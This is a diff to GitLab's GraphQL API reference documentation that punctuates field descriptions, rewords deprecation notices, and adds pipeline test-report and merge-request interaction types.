| `iid` | [`ID!`](#id) | Internal ID of the requirement. |
| `lastTestReportManuallyCreated` | [`Boolean`](#boolean) | Indicates if latest test report was created by user. |
@@ -5227,9 +5590,9 @@ Represents a requirement.
| `state` | [`RequirementState!`](#requirementstate) | State of the requirement. |
| `testReports` | [`TestReportConnection`](#testreportconnection) | Test reports of the requirement. |
| `title` | [`String`](#string) | Title of the requirement. |
-| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title` |
+| `titleHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `title`. |
| `updatedAt` | [`Time!`](#time) | Timestamp of when the requirement was last updated. |
-| `userPermissions` | [`RequirementPermissions!`](#requirementpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`RequirementPermissions!`](#requirementpermissions) | Permissions for the current user on the resource. |
### `RequirementConnection`
@@ -5256,11 +5619,11 @@ Check permissions for the current user on a requirement.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_requirement` on this resource |
-| `createRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `create_requirement` on this resource |
-| `destroyRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_requirement` on this resource |
-| `readRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `read_requirement` on this resource |
-| `updateRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `update_requirement` on this resource |
+| `adminRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_requirement` on this resource. |
+| `createRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `create_requirement` on this resource. |
+| `destroyRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_requirement` on this resource. |
+| `readRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `read_requirement` on this resource. |
+| `updateRequirement` | [`Boolean!`](#boolean) | Indicates the user can perform `update_requirement` on this resource. |
### `RequirementStatesCount`
@@ -5530,13 +5893,13 @@ Represents summary of a security report.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `apiFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `api_fuzzing` scan |
-| `containerScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `container_scanning` scan |
-| `coverageFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `coverage_fuzzing` scan |
-| `dast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dast` scan |
-| `dependencyScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dependency_scanning` scan |
-| `sast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `sast` scan |
-| `secretDetection` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `secret_detection` scan |
+| `apiFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `api_fuzzing` scan. |
+| `containerScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `container_scanning` scan. |
+| `coverageFuzzing` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `coverage_fuzzing` scan. |
+| `dast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dast` scan. |
+| `dependencyScanning` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `dependency_scanning` scan. |
+| `sast` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `sast` scan. |
+| `secretDetection` | [`SecurityReportSummarySection`](#securityreportsummarysection) | Aggregated counts for the `secret_detection` scan. |
### `SecurityReportSummarySection`
@@ -5722,11 +6085,11 @@ Represents a snippet entry.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `author` | [`User`](#user) | The owner of the snippet. |
-| `blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated:** Use `blobs`. Deprecated in 13.3. |
+| `blob` **{warning-solid}** | [`SnippetBlob!`](#snippetblob) | **Deprecated** in 13.3. Use `blobs`. |
| `blobs` | [`SnippetBlobConnection`](#snippetblobconnection) | Snippet blobs. |
| `createdAt` | [`Time!`](#time) | Timestamp this snippet was created. |
| `description` | [`String`](#string) | Description of the snippet. |
-| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description` |
+| `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. |
| `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. |
| `fileName` | [`String`](#string) | File Name of the snippet. |
| `httpUrlToRepo` | [`String`](#string) | HTTP URL to the snippet repository. |
@@ -5737,7 +6100,7 @@ Represents a snippet entry.
| `sshUrlToRepo` | [`String`](#string) | SSH URL to the snippet repository. |
| `title` | [`String!`](#string) | Title of the snippet. |
| `updatedAt` | [`Time!`](#time) | Timestamp this snippet was updated. |
-| `userPermissions` | [`SnippetPermissions!`](#snippetpermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`SnippetPermissions!`](#snippetpermissions) | Permissions for the current user on the resource. |
| `visibilityLevel` | [`VisibilityLevelsEnum!`](#visibilitylevelsenum) | Visibility Level of the snippet. |
| `webUrl` | [`String!`](#string) | Web URL of the snippet. |
@@ -5816,12 +6179,12 @@ An edge in a connection.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_snippet` on this resource |
-| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource |
-| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource |
-| `readSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `read_snippet` on this resource |
-| `reportSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `report_snippet` on this resource |
-| `updateSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `update_snippet` on this resource |
+| `adminSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_snippet` on this resource. |
+| `awardEmoji` | [`Boolean!`](#boolean) | Indicates the user can perform `award_emoji` on this resource. |
+| `createNote` | [`Boolean!`](#boolean) | Indicates the user can perform `create_note` on this resource. |
+| `readSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `read_snippet` on this resource. |
+| `reportSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `report_snippet` on this resource. |
+| `updateSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `update_snippet` on this resource. |
### `SnippetRepositoryRegistry`
@@ -5829,14 +6192,14 @@ Represents the Geo sync and verification state of a snippet repository.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createdAt` | [`Time`](#time) | Timestamp when the SnippetRepositoryRegistry was created |
-| `id` | [`ID!`](#id) | ID of the SnippetRepositoryRegistry |
-| `lastSyncFailure` | [`String`](#string) | Error message during sync of the SnippetRepositoryRegistry |
-| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the SnippetRepositoryRegistry |
-| `retryAt` | [`Time`](#time) | Timestamp after which the SnippetRepositoryRegistry should be resynced |
-| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the SnippetRepositoryRegistry |
+| `createdAt` | [`Time`](#time) | Timestamp when the SnippetRepositoryRegistry was created. |
+| `id` | [`ID!`](#id) | ID of the SnippetRepositoryRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the SnippetRepositoryRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the SnippetRepositoryRegistry. |
+| `retryAt` | [`Time`](#time) | Timestamp after which the SnippetRepositoryRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the SnippetRepositoryRegistry. |
| `snippetRepositoryId` | [`ID!`](#id) | ID of the Snippet Repository. |
-| `state` | [`RegistryState`](#registrystate) | Sync state of the SnippetRepositoryRegistry |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the SnippetRepositoryRegistry. |
### `SnippetRepositoryRegistryConnection`
@@ -5985,13 +6348,13 @@ Represents the Geo sync and verification state of a terraform state version.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createdAt` | [`Time`](#time) | Timestamp when the TerraformStateVersionRegistry was created |
-| `id` | [`ID!`](#id) | ID of the TerraformStateVersionRegistry |
-| `lastSyncFailure` | [`String`](#string) | Error message during sync of the TerraformStateVersionRegistry |
-| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the TerraformStateVersionRegistry |
-| `retryAt` | [`Time`](#time) | Timestamp after which the TerraformStateVersionRegistry should be resynced |
-| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the TerraformStateVersionRegistry |
-| `state` | [`RegistryState`](#registrystate) | Sync state of the TerraformStateVersionRegistry |
+| `createdAt` | [`Time`](#time) | Timestamp when the TerraformStateVersionRegistry was created. |
+| `id` | [`ID!`](#id) | ID of the TerraformStateVersionRegistry. |
+| `lastSyncFailure` | [`String`](#string) | Error message during sync of the TerraformStateVersionRegistry. |
+| `lastSyncedAt` | [`Time`](#time) | Timestamp of the most recent successful sync of the TerraformStateVersionRegistry. |
+| `retryAt` | [`Time`](#time) | Timestamp after which the TerraformStateVersionRegistry should be resynced. |
+| `retryCount` | [`Int`](#int) | Number of consecutive failed sync attempts of the TerraformStateVersionRegistry. |
+| `state` | [`RegistryState`](#registrystate) | Sync state of the TerraformStateVersionRegistry. |
| `terraformStateVersionId` | [`ID!`](#id) | ID of the terraform state version. |
### `TerraformStateVersionRegistryConnection`
@@ -6013,6 +6376,42 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`TerraformStateVersionRegistry`](#terraformstateversionregistry) | The item at the end of the edge. |
+### `TestCase`
+
+Test case in pipeline test report.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `attachmentUrl` | [`String`](#string) | URL of the test case attachment file. |
+| `classname` | [`String`](#string) | Classname of the test case. |
+| `executionTime` | [`Float`](#float) | Test case execution time in seconds. |
+| `file` | [`String`](#string) | Path to the file of the test case. |
+| `name` | [`String`](#string) | Name of the test case. |
+| `recentFailures` | [`RecentFailures`](#recentfailures) | Recent failure history of the test case on the base branch. |
+| `stackTrace` | [`String`](#string) | Stack trace of the test case. |
+| `status` | [`TestCaseStatus`](#testcasestatus) | Status of the test case (error, failed, success, skipped). |
+| `systemOutput` | [`String`](#string) | System output of the test case. |
+
+### `TestCaseConnection`
+
+The connection type for TestCase.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `count` | [`Int!`](#int) | Total count of collection. |
+| `edges` | [`[TestCaseEdge]`](#testcaseedge) | A list of edges. |
+| `nodes` | [`[TestCase]`](#testcase) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `TestCaseEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`TestCase`](#testcase) | The item at the end of the edge. |
+
### `TestReport`
Represents a requirement test report.
@@ -6043,6 +6442,81 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`TestReport`](#testreport) | The item at the end of the edge. |
+### `TestReportSummary`
+
+Test report for a pipeline.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `testSuites` | [`TestSuiteSummaryConnection!`](#testsuitesummaryconnection) | Test suites belonging to a pipeline test report. |
+| `total` | [`TestReportTotal!`](#testreporttotal) | Total report statistics for a pipeline test report. |
+
+### `TestReportTotal`
+
+Total test report statistics.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `count` | [`Int`](#int) | Total number of the test cases. |
+| `error` | [`Int`](#int) | Total number of test cases that had an error. |
+| `failed` | [`Int`](#int) | Total number of test cases that failed. |
+| `skipped` | [`Int`](#int) | Total number of test cases that were skipped. |
+| `success` | [`Int`](#int) | Total number of test cases that succeeded. |
+| `suiteError` | [`String`](#string) | Test suite error message. |
+| `time` | [`Float`](#float) | Total duration of the tests. |
+
+### `TestSuite`
+
+Test suite in a pipeline test report.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `errorCount` | [`Int`](#int) | Total number of test cases that had an error. |
+| `failedCount` | [`Int`](#int) | Total number of test cases that failed in the test suite. |
+| `name` | [`String`](#string) | Name of the test suite. |
+| `skippedCount` | [`Int`](#int) | Total number of test cases that were skipped in the test suite. |
+| `successCount` | [`Int`](#int) | Total number of test cases that succeeded in the test suite. |
+| `suiteError` | [`String`](#string) | Test suite error message. |
+| `testCases` | [`TestCaseConnection`](#testcaseconnection) | Test cases in the test suite. |
+| `totalCount` | [`Int`](#int) | Total number of the test cases in the test suite. |
+| `totalTime` | [`Float`](#float) | Total duration of the tests in the test suite. |
+
+### `TestSuiteSummary`
+
+Test suite summary in a pipeline test report.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `buildIds` | [`[ID!]`](#id) | IDs of the builds used to run the test suite. |
+| `errorCount` | [`Int`](#int) | Total number of test cases that had an error. |
+| `failedCount` | [`Int`](#int) | Total number of test cases that failed in the test suite. |
+| `name` | [`String`](#string) | Name of the test suite. |
+| `skippedCount` | [`Int`](#int) | Total number of test cases that were skipped in the test suite. |
+| `successCount` | [`Int`](#int) | Total number of test cases that succeeded in the test suite. |
+| `suiteError` | [`String`](#string) | Test suite error message. |
+| `totalCount` | [`Int`](#int) | Total number of the test cases in the test suite. |
+| `totalTime` | [`Float`](#float) | Total duration of the tests in the test suite. |
+
+### `TestSuiteSummaryConnection`
+
+The connection type for TestSuiteSummary.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `count` | [`Int!`](#int) | Total count of collection. |
+| `edges` | [`[TestSuiteSummaryEdge]`](#testsuitesummaryedge) | A list of edges. |
+| `nodes` | [`[TestSuiteSummary]`](#testsuitesummary) | A list of nodes. |
+| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. |
+
+### `TestSuiteSummaryEdge`
+
+An edge in a connection.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
+| `node` | [`TestSuiteSummary`](#testsuitesummary) | The item at the end of the edge. |
+
### `TimeReportStats`
Represents the time report stats for timeboxes.
@@ -6164,7 +6638,7 @@ Autogenerated return type of TodoRestoreMany.
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| `todos` | [`[Todo!]!`](#todo) | Updated to-do items. |
-| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. |
+| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated** in 13.2. Use to-do items. |
### `TodoRestorePayload`
@@ -6185,7 +6659,7 @@ Autogenerated return type of TodosMarkAllDone.
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| `todos` | [`[Todo!]!`](#todo) | Updated to-do items. |
-| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. |
+| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated** in 13.2. Use to-do items. |
### `ToggleAwardEmojiPayload`
@@ -6379,13 +6853,13 @@ Autogenerated return type of UpdateSnippet.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `captchaSiteKey` | [`String`](#string) | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `captchaSiteKey` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| `needsCaptchaResponse` | [`Boolean`](#boolean) | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `needsCaptchaResponse` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
| `snippet` | [`Snippet`](#snippet) | The snippet after mutation. |
-| `spam` | [`Boolean`](#boolean) | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. |
-| `spamLogId` | [`Int`](#int) | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. |
+| `spam` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
+| `spamLogId` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. |
### `UsageTrendsMeasurement`
@@ -6418,14 +6892,16 @@ An edge in a connection.
### `User`
+Representation of a GitLab user.
+
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests assigned to the user. |
-| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests authored by the user. |
+| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user. |
+| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests authored by the user. |
| `avatarUrl` | [`String`](#string) | URL of the user's avatar. |
| `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. |
| `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. |
-| `email` **{warning-solid}** | [`String`](#string) | **Deprecated:** Use public_email. Deprecated in 13.7. |
+| `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: `User.publicEmail`. |
| `groupCount` | [`Int`](#int) | Group count for the user. Available only when feature flag `user_group_counts` is enabled. |
| `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. |
| `id` | [`ID!`](#id) | ID of the user. |
@@ -6433,13 +6909,13 @@ An edge in a connection.
| `name` | [`String!`](#string) | Human-readable name of the user. |
| `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. |
| `publicEmail` | [`String`](#string) | User's public email. |
-| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests assigned to the user for review. |
+| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user for review. |
| `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets authored by the user. |
| `starredProjects` | [`ProjectConnection`](#projectconnection) | Projects starred by the user. |
| `state` | [`UserState!`](#userstate) | State of the user. |
| `status` | [`UserStatus`](#userstatus) | User status. |
-| `todos` | [`TodoConnection!`](#todoconnection) | To-do items of the user. |
-| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource |
+| `todos` | [`TodoConnection`](#todoconnection) | To-do items of the user. |
+| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource. |
| `username` | [`String!`](#string) | Username of the user. Unique within this instance of GitLab. |
| `webPath` | [`String!`](#string) | Web path of the user. |
| `webUrl` | [`String!`](#string) | Web URL of the user. |
@@ -6499,11 +6975,27 @@ An edge in a connection.
| `cursor` | [`String!`](#string) | A cursor for use in pagination. |
| `node` | [`User`](#user) | The item at the end of the edge. |
+### `UserMergeRequestInteraction`
+
+Information about a merge request given a specific user.
+
+This object has two parts to its state: a `User` and a `MergeRequest`. All
+fields relate to interactions between the two entities.
+
+| Field | Type | Description |
+| ----- | ---- | ----------- |
+| `applicableApprovalRules` | [`[ApprovalRule!]`](#approvalrule) | Approval rules that apply to this user for this merge request. |
+| `approved` | [`Boolean!`](#boolean) | Whether this user has approved this merge request. |
+| `canMerge` | [`Boolean!`](#boolean) | Whether this user can merge this merge request. |
+| `canUpdate` | [`Boolean!`](#boolean) | Whether this user can update this merge request. |
+| `reviewState` | [`MergeRequestReviewState`](#mergerequestreviewstate) | The state of the review by this user. |
+| `reviewed` | [`Boolean!`](#boolean) | Whether this user has provided a review for this merge request. |
+
### `UserPermissions`
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource |
+| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource. |
### `UserStatus`
@@ -6512,7 +7004,7 @@ An edge in a connection.
| `availability` | [`AvailabilityEnum!`](#availabilityenum) | User availability status. |
| `emoji` | [`String`](#string) | String representation of emoji. |
| `message` | [`String`](#string) | User status message. |
-| `messageHtml` | [`String`](#string) | HTML of the user status message |
+| `messageHtml` | [`String`](#string) | HTML of the user status message. |
### `VulnerabilitiesCountByDay`
@@ -6520,14 +7012,14 @@ Represents the count of vulnerabilities by severity on a particular day. This da
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `critical` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with critical severity |
+| `critical` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with critical severity. |
| `date` | [`ISO8601Date!`](#iso8601date) | Date for the count. |
-| `high` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with high severity |
-| `info` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with info severity |
-| `low` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with low severity |
-| `medium` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with medium severity |
+| `high` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with high severity. |
+| `info` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with info severity. |
+| `low` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with low severity. |
+| `medium` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with medium severity. |
| `total` | [`Int!`](#int) | Total number of vulnerabilities on a particular day. |
-| `unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity |
+| `unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity. |
### `VulnerabilitiesCountByDayAndSeverity`
@@ -6606,11 +7098,11 @@ Represents a vulnerability.
| `resolvedBy` | [`User`](#user) | The user that resolved the vulnerability. |
| `resolvedOnDefaultBranch` | [`Boolean!`](#boolean) | Indicates whether the vulnerability is fixed on the default branch or not. |
| `scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. |
-| `severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL) |
-| `state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED) |
+| `severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). |
+| `state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). |
| `title` | [`String`](#string) | Title of the vulnerability. |
| `userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. |
-| `userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource |
+| `userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource. |
| `vulnerabilityPath` | [`String`](#string) | URL to the vulnerability's details page. |
### `VulnerabilityConfirmPayload`
@@ -6965,15 +7457,15 @@ Check permissions for the current user on a vulnerability.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `adminVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability` on this resource |
-| `adminVulnerabilityExternalIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource |
-| `adminVulnerabilityIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_issue_link` on this resource |
-| `createVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability` on this resource |
-| `createVulnerabilityExport` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_export` on this resource |
-| `createVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_feedback` on this resource |
-| `destroyVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_vulnerability_feedback` on this resource |
-| `readVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `read_vulnerability_feedback` on this resource |
-| `updateVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `update_vulnerability_feedback` on this resource |
+| `adminVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability` on this resource. |
+| `adminVulnerabilityExternalIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource. |
+| `adminVulnerabilityIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_issue_link` on this resource. |
+| `createVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability` on this resource. |
+| `createVulnerabilityExport` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_export` on this resource. |
+| `createVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_feedback` on this resource. |
+| `destroyVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_vulnerability_feedback` on this resource. |
+| `readVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `read_vulnerability_feedback` on this resource. |
+| `updateVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `update_vulnerability_feedback` on this resource. |
### `VulnerabilityResolvePayload`
@@ -7002,6 +7494,7 @@ Represents a vulnerability scanner.
| Field | Type | Description |
| ----- | ---- | ----------- |
| `externalId` | [`String`](#string) | External ID of the vulnerability scanner. |
+| `id` | [`ID`](#id) | ID of the scanner. |
| `name` | [`String`](#string) | Name of the vulnerability scanner. |
| `reportType` | [`VulnerabilityReportType`](#vulnerabilityreporttype) | Type of the vulnerability report. |
| `vendor` | [`String`](#string) | Vendor of the vulnerability scanner. |
@@ -7031,12 +7524,12 @@ Represents vulnerability counts by severity.
| Field | Type | Description |
| ----- | ---- | ----------- |
-| `critical` | [`Int`](#int) | Number of vulnerabilities of CRITICAL severity of the project |
-| `high` | [`Int`](#int) | Number of vulnerabilities of HIGH severity of the project |
-| `info` | [`Int`](#int) | Number of vulnerabilities of INFO severity of the project |
-| `low` | [`Int`](#int) | Number of vulnerabilities of LOW severity of the project |
-| `medium` | [`Int`](#int) | Number of vulnerabilities of MEDIUM severity of the project |
-| `unknown` | [`Int`](#int) | Number of vulnerabilities of UNKNOWN severity of the project |
+| `critical` | [`Int`](#int) | Number of vulnerabilities of CRITICAL severity of the project. |
+| `high` | [`Int`](#int) | Number of vulnerabilities of HIGH severity of the project. |
+| `info` | [`Int`](#int) | Number of vulnerabilities of INFO severity of the project. |
+| `low` | [`Int`](#int) | Number of vulnerabilities of LOW severity of the project. |
+| `medium` | [`Int`](#int) | Number of vulnerabilities of MEDIUM severity of the project. |
+| `unknown` | [`Int`](#int) | Number of vulnerabilities of UNKNOWN severity of the project. |
### `VulnerableDependency`
@@ -7080,13 +7573,13 @@ Access level to a resource.
| Value | Description |
| ----- | ----------- |
-| `DEVELOPER` | Developer access |
-| `GUEST` | Guest access |
-| `MAINTAINER` | Maintainer access |
-| `MINIMAL_ACCESS` | Minimal access |
-| `NO_ACCESS` | No access |
-| `OWNER` | Owner access |
-| `REPORTER` | Reporter access |
+| `DEVELOPER` | Developer access. |
+| `GUEST` | Guest access. |
+| `MAINTAINER` | Maintainer access. |
+| `MINIMAL_ACCESS` | Minimal access. |
+| `NO_ACCESS` | No access. |
+| `OWNER` | Owner access. |
+| `REPORTER` | Reporter access. |
### `AlertManagementAlertSort`
@@ -7112,10 +7605,10 @@ Values for sorting alerts.
| `UPDATED_DESC` | Updated at descending order. |
| `UPDATED_TIME_ASC` | Created time by ascending order. |
| `UPDATED_TIME_DESC` | Created time by descending order. |
-| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. |
-| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. |
-| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. |
-| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. |
+| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. |
+| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. |
+| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. |
+| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. |
### `AlertManagementDomainFilter`
@@ -7168,12 +7661,12 @@ Alert severity values.
| Value | Description |
| ----- | ----------- |
-| `CRITICAL` | Critical severity |
-| `HIGH` | High severity |
-| `INFO` | Info severity |
-| `LOW` | Low severity |
-| `MEDIUM` | Medium severity |
-| `UNKNOWN` | Unknown severity |
